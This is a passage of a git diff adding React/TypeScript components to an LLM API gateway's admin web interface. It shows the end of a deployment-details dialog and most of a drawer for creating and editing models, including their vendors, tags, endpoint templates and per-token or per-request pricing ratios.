+    const items = details?.locations
+    if (!Array.isArray(items)) return []
+    return items
+      .map((x) => {
+        if (!x || typeof x !== 'object') return null
+        const name = (x as Record<string, unknown>)?.name
+        const iso2 = (x as Record<string, unknown>)?.iso2
+        const id = (x as Record<string, unknown>)?.id
+        return `${String(name ?? id ?? '')}${iso2 ? ` (${iso2})` : ''}`.trim()
+      })
+      .filter(Boolean) as string[]
+  }, [details])
+
+  const handleCopyId = async () => {
+    if (deploymentId === null || deploymentId === undefined) return
+    try {
+      await navigator.clipboard.writeText(String(deploymentId))
+      toast.success(t('Copied'))
+    } catch {
+      toast.error(t('Copy failed'))
+    }
+  }
+
+  const handleRefresh = () => {
+    refetchDetails()
+    refetchContainers()
+  }
+
+  const payloadJson = useMemo(() => {
+    if (!details) return ''
+    try {
+      return JSON.stringify(details, null, 2)
+    } catch {
+      return ''
+    }
+  }, [details])
+
+  return (
+    <Dialog open={open} onOpenChange={onOpenChange}>
+      <DialogContent className='max-h-[90vh] overflow-hidden sm:max-w-3xl'>
+        <DialogHeader>
+          <DialogTitle>{t('Deployment details')}</DialogTitle>
+        </DialogHeader>
+
+        <div className='max-h-[72vh] space-y-4 overflow-y-auto py-2 pr-1'>
+          <div className='flex flex-wrap items-center justify-between gap-2'>
+            <div className='text-muted-foreground text-sm'>
+              {t('Deployment ID')}:{' '}
+              <span className='font-mono'>{deploymentId}</span>
+            </div>
+            <div className='flex items-center gap-2'>
+              <Button variant='outline' size='sm' onClick={handleCopyId}>
+                <Copy className='mr-2 h-4 w-4' />
+                {t('Copy')}
+              </Button>
+              <Button
+                variant='outline'
+                size='sm'
+                onClick={handleRefresh}
+                disabled={isFetchingDetails || isFetchingContainers}
+              >
+                {isFetchingDetails || isFetchingContainers ? (
+                  <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+                ) : (
+                  <RefreshCcw className='mr-2 h-4 w-4' />
+                )}
+                {t('Refresh')}
+              </Button>
+            </div>
+          </div>
+
+          <Separator />
+
+          {isLoadingDetails || isLoadingContainers ? (
+            <div className='flex items-center justify-center py-10'>
+              <Loader2 className='text-muted-foreground h-6 w-6 animate-spin' />
+            </div>
+          ) : !detailsRes?.success ? (
+            <div className='text-muted-foreground py-10 text-center text-sm'>
+              {detailsRes?.message || t('Failed to fetch deployment details')}
+            </div>
+          ) : (
+            <>
+              <div className='grid gap-3 sm:grid-cols-2'>
+                <div className='rounded-lg border p-3'>
+                  <div className='text-muted-foreground text-xs'>
+                    {t('Status')}
+                  </div>
+                  <div className='mt-1 font-medium'>
+                    {String(details?.status ?? '-')}
+                  </div>
+                </div>
+                <div className='rounded-lg border p-3'>
+                  <div className='text-muted-foreground text-xs'>
+                    {t('Hardware')}
+                  </div>
+                  <div className='mt-1 font-medium'>
+                    {String(details?.brand_name ?? '')}{' '}
+                    {String(details?.hardware_name ?? '')}
+                  </div>
+                </div>
+                <div className='rounded-lg border p-3'>
+                  <div className='text-muted-foreground text-xs'>
+                    {t('Total GPUs')}
+                  </div>
+                  <div className='mt-1 font-medium'>
+                    {String(
+                      details?.total_gpus ?? details?.hardware_qty ?? '-'
+                    )}
+                  </div>
+                </div>
+                <div className='rounded-lg border p-3'>
+                  <div className='text-muted-foreground text-xs'>
+                    {t('Containers')}
+                  </div>
+                  <div className='mt-1 font-medium'>{containers.length}</div>
+                </div>
+              </div>
+
+              {locations.length ? (
+                <div className='rounded-lg border p-3'>
+                  <div className='text-muted-foreground text-xs'>
+                    {t('Locations')}
+                  </div>
+                  <div className='mt-1 flex flex-wrap gap-2 text-sm'>
+                    {locations.map((x) => (
+                      <span key={x} className='bg-muted rounded-md px-2 py-1'>
+                        {x}
+                      </span>
+                    ))}
+                  </div>
+                </div>
+              ) : null}
+
+              {containers.length ? (
+                <div className='rounded-lg border p-3'>
+                  <div className='text-muted-foreground mb-2 text-xs'>
+                    {t('Containers')}
+                  </div>
+                  <div className='space-y-2'>
+                    {containers.map((c) => {
+                      const id = c?.container_id
+                      if (typeof id !== 'string' || !id) return null
+                      const status =
+                        typeof c?.status === 'string' ? c.status : undefined
+                      const url =
+                        typeof c?.public_url === 'string' ? c.public_url : ''
+                      return (
+                        <div
+                          key={id}
+                          className='flex flex-wrap items-center justify-between gap-2 rounded-md border px-3 py-2'
+                        >
+                          <div className='min-w-0'>
+                            <div className='truncate font-mono text-sm'>
+                              {id}
+                            </div>
+                            <div className='text-muted-foreground text-xs'>
+                              {status ? `${t('Status')}: ${status}` : ''}
+                            </div>
+                          </div>
+                          {url ? (
+                            <Button
+                              variant='outline'
+                              size='sm'
+                              onClick={() => window.open(url, '_blank')}
+                            >
+                              <ExternalLink className='mr-2 h-4 w-4' />
+                              {t('Open')}
+                            </Button>
+                          ) : null}
+                        </div>
+                      )
+                    })}
+                  </div>
+                </div>
+              ) : null}
+
+              <Collapsible className='rounded-lg border p-3'>
+                <CollapsibleTrigger className='cursor-pointer text-sm font-medium'>
+                  {t('Raw JSON')}
+                </CollapsibleTrigger>
+                <CollapsibleContent>
+                  <pre className='mt-3 max-h-[360px] overflow-auto rounded-md bg-black p-3 text-xs text-gray-200'>
+                    {payloadJson || '-'}
+                  </pre>
+                </CollapsibleContent>
+              </Collapsible>
+            </>
+          )}
+        </div>
+
+        <DialogFooter>
+          <Button variant='outline' onClick={() => onOpenChange(false)}>
+            {t('Close')}
+          </Button>
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  )
+}
diff --git a/new-api/web/default/src/features/models/components/drawers/model-mutate-drawer.tsx b/new-api/web/default/src/features/models/components/drawers/model-mutate-drawer.tsx
new file mode 100644
index 0000000..ffbe891
--- /dev/null
+++ b/new-api/web/default/src/features/models/components/drawers/model-mutate-drawer.tsx
@@ -0,0 +1,1249 @@
+import { useEffect, useState, useCallback, useMemo } from 'react'
+import * as z from 'zod'
+import { useForm } from 'react-hook-form'
+import { zodResolver } from '@hookform/resolvers/zod'
+import { useQuery, useQueryClient } from '@tanstack/react-query'
+import { ChevronDown, Loader2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Button } from '@/components/ui/button'
+import {
+  Collapsible,
+  CollapsibleContent,
+  CollapsibleTrigger,
+} from '@/components/ui/collapsible'
+import {
+  Form,
+  FormControl,
+  FormDescription,
+  FormField,
+  FormItem,
+  FormLabel,
+  FormMessage,
+} from '@/components/ui/form'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { RadioGroup, RadioGroupItem } from '@/components/ui/radio-group'
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from '@/components/ui/select'
+import { Separator } from '@/components/ui/separator'
+import {
+  Sheet,
+  SheetClose,
+  SheetContent,
+  SheetDescription,
+  SheetFooter,
+  SheetHeader,
+  SheetTitle,
+} from '@/components/ui/sheet'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { JsonEditor } from '@/components/json-editor'
+import { TagInput } from '@/components/tag-input'
+import {
+  useSystemOptions,
+  getOptionValue,
+} from '@/features/system-settings/hooks/use-system-options'
+import { useUpdateOption } from '@/features/system-settings/hooks/use-update-option'
+import { normalizeJsonString } from '@/features/system-settings/models/utils'
+import type { ModelSettings } from '@/features/system-settings/types'
+import { safeJsonParse } from '@/features/system-settings/utils/json-parser'
+import { createModel, updateModel, getModel, getVendors } from '../../api'
+import { getNameRuleOptions, ENDPOINT_TEMPLATES } from '../../constants'
+import { modelsQueryKeys, vendorsQueryKeys, parseModelTags } from '../../lib'
+import type { Model } from '../../types'
+
+// Extended schema for ratio configuration (internal form state only)
+const extendedModelFormSchema = z.object({
+  id: z.number().optional(),
+  model_name: z.string().min(1, 'Model name is required'),
+  description: z.string(),
+  icon: z.string(),
+  tags: z.array(z.string()),
+  vendor_id: z.number().optional(),
+  endpoints: z.string(),
+  name_rule: z.number(),
+  status: z.boolean(),
+  sync_official: z.boolean(),
+  price: z.string().optional(),
+  ratio: z.string().optional(),
+  cacheRatio: z.string().optional(),
+  completionRatio: z.string().optional(),
+  imageRatio: z.string().optional(),
+  audioRatio: z.string().optional(),
+  audioCompletionRatio: z.string().optional(),
+})
+
+type ExtendedModelFormValues = z.infer<typeof extendedModelFormSchema>
+
+type PricingMode = 'per-token' | 'per-request'
+type PricingSubMode = 'ratio' | 'price'
+
+type ModelMutateDrawerProps = {
+  open: boolean
+  onOpenChange: (open: boolean) => void
+  currentRow?: Model | null
+}
+
+export function ModelMutateDrawer({
+  open,
+  onOpenChange,
+  currentRow,
+}: ModelMutateDrawerProps) {
+  const { t } = useTranslation()
+  const queryClient = useQueryClient()
+  const isEditing = Boolean(currentRow?.id)
+  const [isSubmitting, setIsSubmitting] = useState(false)
+  const [pricingMode, setPricingMode] = useState<PricingMode>('per-token')
+  const [pricingSubMode, setPricingSubMode] = useState<PricingSubMode>('ratio')
+  const [advancedOpen, setAdvancedOpen] = useState(false)
+  const [promptPrice, setPromptPrice] = useState('')
+  const [completionPrice, setCompletionPrice] = useState('')
+  const [oldModelName, setOldModelName] = useState<string>('')
+
+  // Fetch vendors for dropdown
+  const { data: vendorsData } = useQuery({
+    queryKey: vendorsQueryKeys.list(),
+    queryFn: () => getVendors({ page_size: 1000 }),
+    enabled: open,
+  })
+
+  const vendors = vendorsData?.data?.items || []
+
+  // Fetch model detail if editing
+  const { data: modelData } = useQuery({
+    queryKey: modelsQueryKeys.detail(currentRow?.id || 0),
+    queryFn: () => getModel(currentRow!.id),
+    enabled: open && isEditing,
+  })
+
+  // Fetch system options for ratio configuration
+  const { data: systemOptionsData } = useSystemOptions()
+
+  const updateOption = useUpdateOption()
+
+  // Get model settings from system options
+  const modelSettings = useMemo(() => {
+    if (!systemOptionsData?.data) return null
+    const defaultModelSettings: ModelSettings = {
+      'global.pass_through_request_enabled': false,
+      'global.thinking_model_blacklist': '[]',
+      'global.chat_completions_to_responses_policy': '{}',
+      'general_setting.ping_interval_enabled': false,
+      'general_setting.ping_interval_seconds': 60,
+      'gemini.safety_settings': '',
+      'gemini.version_settings': '',
+      'gemini.supported_imagine_models': '',
+      'gemini.thinking_adapter_enabled': false,
+      'gemini.thinking_adapter_budget_tokens_percentage': 0.6,
+      'gemini.function_call_thought_signature_enabled': false,
+      'gemini.remove_function_response_id_enabled': true,
+      'claude.model_headers_settings': '',
+      'claude.default_max_tokens': '',
+      'claude.thinking_adapter_enabled': true,
+      'claude.thinking_adapter_budget_tokens_percentage': 0.8,
+      ModelPrice: '',
+      ModelRatio: '',
+      CacheRatio: '',
+      CompletionRatio: '',
+      ImageRatio: '',
+      AudioRatio: '',
+      AudioCompletionRatio: '',
+      ExposeRatioEnabled: false,
+      'billing_setting.billing_mode': '{}',
+      'billing_setting.billing_expr': '{}',
+      'tool_price_setting.prices': '{}',
+      TopupGroupRatio: '',
+      GroupRatio: '',
+      UserUsableGroups: '',
+      GroupGroupRatio: '',
+      AutoGroups: '',
+      DefaultUseAutoGroup: false,
+      CreateCacheRatio: '',
+      'group_ratio_setting.group_special_usable_group': '{}',
+      'grok.violation_deduction_enabled': false,
+      'grok.violation_deduction_amount': 0,
+    }
+    return getOptionValue(systemOptionsData.data, defaultModelSettings)
+  }, [systemOptionsData])
+
+  const form = useForm<ExtendedModelFormValues>({
+    resolver: zodResolver(extendedModelFormSchema),
+    defaultValues: {
+      model_name: '',
+      description: '',
+      icon: '',
+      tags: [],
+      vendor_id: undefined,
+      endpoints: '',
+      name_rule: 0,
+      status: true,
+      sync_official: true,
+      price: '',
+      ratio: '',
+      cacheRatio: '',
+      completionRatio: '',
+      imageRatio: '',
+      audioRatio: '',
+      audioCompletionRatio: '',
+    },
+  })
+
+  const validateNumber = (value: string) => {
+    if (value === '') return true
+    return !isNaN(parseFloat(value))
+  }
+
+  const handlePromptPriceChange = (value: string) => {
+    setPromptPrice(value)
+    if (value && !isNaN(parseFloat(value))) {
+      const ratio = parseFloat(value) / 2
+      form.setValue('ratio', ratio.toString())
+    } else {
+      form.setValue('ratio', '')
+    }
+  }
+
+  const handleCompletionPriceChange = (value: string) => {
+    setCompletionPrice(value)
+    if (
+      value &&
+      !isNaN(parseFloat(value)) &&
+      promptPrice &&
+      !isNaN(parseFloat(promptPrice)) &&
+      parseFloat(promptPrice) > 0
+    ) {
+      const completionRatio = parseFloat(value) / parseFloat(promptPrice)
+      form.setValue('completionRatio', completionRatio.toString())
+    } else {
+      form.setValue('completionRatio', '')
+    }
+  }
+
+  // Load model data for editing and ratio configuration
+  useEffect(() => {
+    if (open && isEditing && modelData?.data) {
+      const model = modelData.data
+      setOldModelName(model.model_name)
+
+      // Base model data reset
+      const baseModelData = {
+        id: model.id,
+        model_name: model.model_name,
+        description: model.description || '',
+        icon: model.icon || '',
+        tags: parseModelTags(model.tags),
+        vendor_id: model.vendor_id,
+        endpoints: model.endpoints || '',
+        name_rule: model.name_rule || 0,
+        status: model.status === 1,
+        sync_official: model.sync_official === 1,
+        price: '',
+        ratio: '',
+        cacheRatio: '',
+        completionRatio: '',
+        imageRatio: '',
+        audioRatio: '',
+        audioCompletionRatio: '',
+      }
+
+      // Parse ratio configurations from system settings if available
+      if (modelSettings) {
+        const priceMap = safeJsonParse<Record<string, number>>(
+          modelSettings.ModelPrice,
+          { fallback: {}, silent: true }
+        )
+        const ratioMap = safeJsonParse<Record<string, number>>(
+          modelSettings.ModelRatio,
+          { fallback: {}, silent: true }
+        )
+        const cacheMap = safeJsonParse<Record<string, number>>(
+          modelSettings.CacheRatio,
+          { fallback: {}, silent: true }
+        )
+        const completionMap = safeJsonParse<Record<string, number>>(
+          modelSettings.CompletionRatio,
+          { fallback: {}, silent: true }
+        )
+        const imageMap = safeJsonParse<Record<string, number>>(
+          modelSettings.ImageRatio,
+          { fallback: {}, silent: true }
+        )
+        const audioMap = safeJsonParse<Record<string, number>>(
+          modelSettings.AudioRatio,
+          { fallback: {}, silent: true }
+        )
+        const audioCompletionMap = safeJsonParse<Record<string, number>>(
+          modelSettings.AudioCompletionRatio,
+          { fallback: {}, silent: true }
+        )
+
+        // Extract ratio config for this model
+        const modelName = model.model_name
+        const price = priceMap[modelName]
+        const ratio = ratioMap[modelName]
+        const cacheRatio = cacheMap[modelName]
+        const completionRatio = completionMap[modelName]
+        const imageRatio = imageMap[modelName]
+        const audioRatio = audioMap[modelName]
+        const audioCompletionRatio = audioCompletionMap[modelName]
+
+        // Determine pricing mode
+        if (price !== undefined && price !== null) {
+          setPricingMode('per-request')
+          form.reset({
+            ...baseModelData,
+            price: price.toString(),
+          })
+        } else {
+          setPricingMode('per-token')
+          if (ratio !== undefined && ratio !== null) {
+            const tokenPrice = ratio * 2
+            setPromptPrice(tokenPrice.toString())
+            if (completionRatio !== undefined && completionRatio !== null) {
+              const compPrice = tokenPrice * completionRatio
+              setCompletionPrice(compPrice.toString())
+            }
+          }
+          form.reset({
+            ...baseModelData,
+            ratio: ratio?.toString() || '',
+            cacheRatio: cacheRatio?.toString() || '',
+            completionRatio: completionRatio?.toString() || '',
+            imageRatio: imageRatio?.toString() || '',
+            audioRatio: audioRatio?.toString() || '',
+            audioCompletionRatio: audioCompletionRatio?.toString() || '',
+          })
+          setAdvancedOpen(
+            !!(cacheRatio || imageRatio || audioRatio || audioCompletionRatio)
+          )
+        }
+      } else {
+        // If system settings not loaded yet, just load base model data
+        setPricingMode('per-token')
+        form.reset(baseModelData)
+        setAdvancedOpen(false)
+      }
+    } else if (open && !isEditing) {
+      // Pre-fill model name if passed from missing models
+      setOldModelName('')
+      setPricingMode('per-token')
+      setPricingSubMode('ratio')
+      setPromptPrice('')
+      setCompletionPrice('')
+      setAdvancedOpen(false)
+      form.reset({
+        model_name: currentRow?.model_name || '',
+        description: '',
+        icon: '',
+        tags: [],
+        vendor_id: undefined,
+        endpoints: '',
+        name_rule: 0,
+        status: true,
+        sync_official: true,
+        price: '',
+        ratio: '',
+        cacheRatio: '',
+        completionRatio: '',
+        imageRatio: '',
+        audioRatio: '',
+        audioCompletionRatio: '',
+      })
+    }
+  }, [open, isEditing, modelData, currentRow, form, modelSettings])
+
+  const onSubmit = useCallback(
+    async (values: ExtendedModelFormValues): Promise<void> => {
+      setIsSubmitting(true)
+      try {
+        const submitData = {
+          ...values,
+          id: isEditing ? currentRow!.id : undefined,
+          tags: Array.isArray(values.tags) ? values.tags.join(',') : '',
+          status: values.status ? 1 : 0,
+          sync_official: values.sync_official ? 1 : 0,
+        }
+
+        // Remove ratio fields from model data (they're stored in system settings)
+        const {
+          price,
+          ratio,
+          cacheRatio,
+          completionRatio,
+          imageRatio,
+          audioRatio,
+          audioCompletionRatio,
+          ...modelData
+        } = submitData
+
+        const response = isEditing
+          ? await updateModel({ ...modelData, id: currentRow!.id })
+          : await createModel(modelData)
+
+        if (response.success) {
+          // Handle ratio configuration updates in system settings
+          const finalModelName = values.model_name
+          const hasRatioConfig =
+            (pricingMode === 'per-request' &&
+              values.price &&
+              values.price !== '') ||
+            (pricingMode === 'per-token' &&
+              (values.ratio ||
+                values.cacheRatio ||
+                values.completionRatio ||
+                values.imageRatio ||
+                values.audioRatio ||
+                values.audioCompletionRatio))
+
+          // Always process system settings updates if we have modelSettings
+          // This ensures we can remove stale entries even when clearing all pricing fields
+          if (modelSettings) {
+            // Read existing configurations
+            const priceMap = safeJsonParse<Record<string, number>>(
+              modelSettings.ModelPrice,
+              { fallback: {}, silent: true }
+            )
+            const ratioMap = safeJsonParse<Record<string, number>>(
+              modelSettings.ModelRatio,
+              { fallback: {}, silent: true }
+            )
+            const cacheMap = safeJsonParse<Record<string, number>>(
+              modelSettings.CacheRatio,
+              { fallback: {}, silent: true }
+            )
+            const completionMap = safeJsonParse<Record<string, number>>(
+              modelSettings.CompletionRatio,
+              { fallback: {}, silent: true }
+            )
+            const imageMap = safeJsonParse<Record<string, number>>(
+              modelSettings.ImageRatio,
+              { fallback: {}, silent: true }
+            )
+            const audioMap = safeJsonParse<Record<string, number>>(
+              modelSettings.AudioRatio,
+              { fallback: {}, silent: true }
+            )
+            const audioCompletionMap = safeJsonParse<Record<string, number>>(
+              modelSettings.AudioCompletionRatio,
+              { fallback: {}, silent: true }
+            )
+
+            // Remove old model name entries if model name changed (always, even if no new config)
+            if (isEditing && oldModelName && oldModelName !== finalModelName) {
+              delete priceMap[oldModelName]
+              delete ratioMap[oldModelName]
+              delete cacheMap[oldModelName]
+              delete completionMap[oldModelName]
+              delete imageMap[oldModelName]
+              delete audioMap[oldModelName]
+              delete audioCompletionMap[oldModelName]
+            }
+
+            // Remove current model name from all maps first (always, to handle mode switches or clearing)
+            // This ensures stale entries are removed even when user clears all fields
+            delete priceMap[finalModelName]
+            delete ratioMap[finalModelName]
+            delete cacheMap[finalModelName]
+            delete completionMap[finalModelName]
+            delete imageMap[finalModelName]
+            delete audioMap[finalModelName]
+            delete audioCompletionMap[finalModelName]
+
+            // Only add new entries if user provided new configuration
+            if (hasRatioConfig) {
+              if (
+                pricingMode === 'per-request' &&
+                values.price &&
+                values.price !== ''
+              ) {
+                priceMap[finalModelName] = parseFloat(values.price)
+              } else if (pricingMode === 'per-token') {
+                if (values.ratio && values.ratio !== '') {
+                  ratioMap[finalModelName] = parseFloat(values.ratio)
+                }
+                if (values.cacheRatio && values.cacheRatio !== '') {
+                  cacheMap[finalModelName] = parseFloat(values.cacheRatio)
+                }
+                if (values.completionRatio && values.completionRatio !== '') {
+                  completionMap[finalModelName] = parseFloat(
+                    values.completionRatio
+                  )
+                }
+                if (values.imageRatio && values.imageRatio !== '') {
+                  imageMap[finalModelName] = parseFloat(values.imageRatio)
+                }
+                if (values.audioRatio && values.audioRatio !== '') {
+                  audioMap[finalModelName] = parseFloat(values.audioRatio)
+                }
+                if (
+                  values.audioCompletionRatio &&
+                  values.audioCompletionRatio !== ''
+                ) {
+                  audioCompletionMap[finalModelName] = parseFloat(
+                    values.audioCompletionRatio
+                  )
+                }
+              }
+            }
+
+            // Update system options if there are changes
+            const updates: Array<{ key: string; value: string }> = []
+
+            const newModelPrice = normalizeJsonString(JSON.stringify(priceMap))
+            if (
+              newModelPrice !== normalizeJsonString(modelSettings.ModelPrice)
+            ) {
+              updates.push({ key: 'ModelPrice', value: newModelPrice })
+            }
+
+            const newModelRatio = normalizeJsonString(JSON.stringify(ratioMap))
+            if (
+              newModelRatio !== normalizeJsonString(modelSettings.ModelRatio)
+            ) {
+              updates.push({ key: 'ModelRatio', value: newModelRatio })
+            }
+
+            const newCacheRatio = normalizeJsonString(JSON.stringify(cacheMap))
+            if (
+              newCacheRatio !== normalizeJsonString(modelSettings.CacheRatio)
+            ) {
+              updates.push({ key: 'CacheRatio', value: newCacheRatio })
+            }
+
+            const newCompletionRatio = normalizeJsonString(
+              JSON.stringify(completionMap)
+            )
+            if (
+              newCompletionRatio !==
+              normalizeJsonString(modelSettings.CompletionRatio)
+            ) {
+              updates.push({
+                key: 'CompletionRatio',
+                value: newCompletionRatio,
+              })
+            }
+
+            const newImageRatio = normalizeJsonString(JSON.stringify(imageMap))
+            if (
+              newImageRatio !== normalizeJsonString(modelSettings.ImageRatio)
+            ) {
+              updates.push({ key: 'ImageRatio', value: newImageRatio })
+            }
+
+            const newAudioRatio = normalizeJsonString(JSON.stringify(audioMap))
+            if (
+              newAudioRatio !== normalizeJsonString(modelSettings.AudioRatio)
+            ) {
+              updates.push({ key: 'AudioRatio', value: newAudioRatio })
+            }
+
+            const newAudioCompletionRatio = normalizeJsonString(
+              JSON.stringify(audioCompletionMap)
+            )
+            if (
+              newAudioCompletionRatio !==
+              normalizeJsonString(modelSettings.AudioCompletionRatio)
+            ) {
+              updates.push({
+                key: 'AudioCompletionRatio',
+                value: newAudioCompletionRatio,
+              })
+            }
+
+            // Apply all updates (including deletions when clearing fields)
+            for (const update of updates) {
+              await updateOption.mutateAsync(update)
+            }
+          }
+
+          toast.success(
+            isEditing
+              ? 'Model updated successfully'
+              : 'Model created successfully'
+          )
+          queryClient.invalidateQueries({ queryKey: modelsQueryKeys.lists() })
+          queryClient.invalidateQueries({ queryKey: ['system-options'] })
+          onOpenChange(false)
+        } else {
+          toast.error(response.message || 'Operation failed')
+        }
+      } catch (error: unknown) {
+        toast.error((error as Error)?.message || 'Operation failed')
+      } finally {
+        setIsSubmitting(false)
+      }
+    },
+    [
+      isEditing,
+      currentRow,
+      queryClient,
+      onOpenChange,
+      pricingMode,
+      oldModelName,
+      modelSettings,
+      updateOption,
+    ]
+  )
+
+  const handleFillEndpointTemplate = (templateKey: string) => {
+    const template = ENDPOINT_TEMPLATES[templateKey]
+    if (template) {
+      const templateJson = JSON.stringify({ [templateKey]: template }, null, 2)
+      form.setValue('endpoints', templateJson)
+    }
+  }
+
+  return (
+    <Sheet open={open} onOpenChange={onOpenChange}>
+      <SheetContent className='flex w-full flex-col sm:max-w-2xl'>
+        <SheetHeader className='text-start'>
+          <SheetTitle>
+            {isEditing ? t('Edit Model') : t('Create Model')}
+          </SheetTitle>
+          <SheetDescription>
+            {isEditing
+              ? t("Update model configuration and click save when you're done.")
+              : t(
+                  'Add a new model to the system by providing the necessary information.'
+                )}
+          </SheetDescription>
+        </SheetHeader>
+
+        <Form {...form}>
+          <form
+            id='model-form'
+            onSubmit={form.handleSubmit(
+              onSubmit as Parameters<typeof form.handleSubmit>[0]
+            )}
+            className='flex-1 space-y-6 overflow-y-auto px-4'
+          >
+            {/* Basic Information */}
+            <div className='space-y-4'>
+              <h3 className='text-sm font-semibold'>
+                {t('Basic Information')}
+              </h3>
+
+              <FormField
+                control={form.control}
+                name='model_name'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Model Name *')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('gpt-4, claude-3-opus, etc.')}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('The unique identifier for this model')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='description'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Description')}</FormLabel>
+                    <FormControl>
+                      <Textarea
+                        placeholder={t('Describe this model...')}
+                        rows={3}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='icon'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Icon')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('OpenAI, Anthropic, etc.')}
+                        {...field}
+                      />
+                    </FormControl>
+                    <FormDescription className='text-xs'>
+                      {t('@lobehub/icons key')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='vendor_id'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Vendor')}</FormLabel>
+                    <Select
+                      onValueChange={(value) =>
+                        field.onChange(value ? parseInt(value) : undefined)
+                      }
+                      value={field.value ? String(field.value) : undefined}
+                    >
+                      <FormControl>
+                        <SelectTrigger>
+                          <SelectValue placeholder={t('Select vendor')} />
+                        </SelectTrigger>
+                      </FormControl>
+                      <SelectContent>
+                        {vendors.map((vendor) => (
+                          <SelectItem key={vendor.id} value={String(vendor.id)}>
+                            {vendor.name}
+                          </SelectItem>
+                        ))}
+                      </SelectContent>
+                    </Select>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='tags'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Tags')}</FormLabel>
+                    <FormControl>
+                      <TagInput
+                        value={field.value || []}
+                        onChange={field.onChange}
+                        placeholder={t('Add tags...')}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Press Enter or comma to add tags')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <Separator />
+
+            {/* Matching Configuration */}
+            <div className='space-y-4'>
+              <h3 className='text-sm font-semibold'>{t('Matching Rules')}</h3>
+
+              <FormField
+                control={form.control}
+                name='name_rule'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Name Rule')}</FormLabel>
+                    <FormControl>
+                      <RadioGroup
+                        onValueChange={(value) =>
+                          field.onChange(parseInt(value))
+                        }
+                        value={String(field.value)}
+                        className='grid grid-cols-2 gap-4'
+                      >
+                        {getNameRuleOptions(t).map((option) => (
+                          <div
+                            key={option.value}
+                            className='flex items-center space-x-2'
+                          >
+                            <RadioGroupItem
+                              value={String(option.value)}
+                              id={`rule-${option.value}`}
+                            />
+                            <Label
+                              htmlFor={`rule-${option.value}`}
+                              className='cursor-pointer font-normal'
+                            >
+                              {option.label}
+                            </Label>
+                          </div>
+                        ))}
+                      </RadioGroup>
+                    </FormControl>
+                    <FormDescription>
+                      {t('How this model name should match requests')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <Separator />
+
+            {/* Endpoints Configuration */}
+            <div className='space-y-4'>
+              <div className='flex items-center justify-between'>
+                <h3 className='text-sm font-semibold'>{t('Endpoints')}</h3>
+                <Select onValueChange={handleFillEndpointTemplate}>
+                  <SelectTrigger size='sm' className='w-[200px]'>
+                    <SelectValue placeholder={t('Load template...')} />
+                  </SelectTrigger>
+                  <SelectContent>
+                    {Object.keys(ENDPOINT_TEMPLATES).map((key) => (
+                      <SelectItem key={key} value={key}>
+                        {key}
+                      </SelectItem>
+                    ))}
+                  </SelectContent>
+                </Select>
+              </div>
+
+              <FormField
+                control={form.control}
+                name='endpoints'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Endpoint Configuration')}</FormLabel>
+                    <FormControl>
+                      <JsonEditor
+                        value={field.value || ''}
+                        onChange={field.onChange}
+                        keyPlaceholder='endpoint_type'
+                        valuePlaceholder='{"path": "/v1/...", "method": "POST"}'
+                        keyLabel='Endpoint Type'
+                        valueLabel='Configuration'
+                        valueType='any'
+                        emptyMessage={t(
+                          'No endpoints configured. Switch to JSON mode or add rows to define endpoints.'
+                        )}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Define API endpoints for this model (JSON format)')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <Separator />
+
+            {/* Pricing Configuration */}
+            <div className='space-y-4'>
+              <h3 className='text-sm font-semibold'>
+                {t('Pricing Configuration')}
+              </h3>
+
+              <div className='space-y-4'>
+                <Label>{t('Pricing mode')}</Label>
+                <RadioGroup
+                  value={pricingMode}
+                  onValueChange={(value) =>
+                    setPricingMode(value as PricingMode)
+                  }
+                >
+                  <div className='flex items-center space-x-2'>
+                    <RadioGroupItem value='per-token' id='per-token' />
+                    <Label htmlFor='per-token' className='font-normal'>
+                      {t('Per-token (ratio based)')}
+                    </Label>
+                  </div>
+                  <div className='flex items-center space-x-2'>
+                    <RadioGroupItem value='per-request' id='per-request' />
+                    <Label htmlFor='per-request' className='font-normal'>
+                      {t('Per-request (fixed price)')}
+                    </Label>
+                  </div>
+                </RadioGroup>
+              </div>
+
+              {pricingMode === 'per-request' ? (
+                <FormField
+                  control={form.control}
+                  name='price'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Fixed price (USD)')}</FormLabel>
+                      <FormControl>
+                        <Input
+                          type='text'
+                          placeholder='0.01'
+                          {...field}
+                          onChange={(e) => {
+                            const value = e.target.value
+                            if (validateNumber(value)) {
+                              field.onChange(value)
+                            }
+                          }}
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t(
+                          'Cost in USD per request, regardless of tokens used.'
+                        )}
+                      </FormDescription>
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
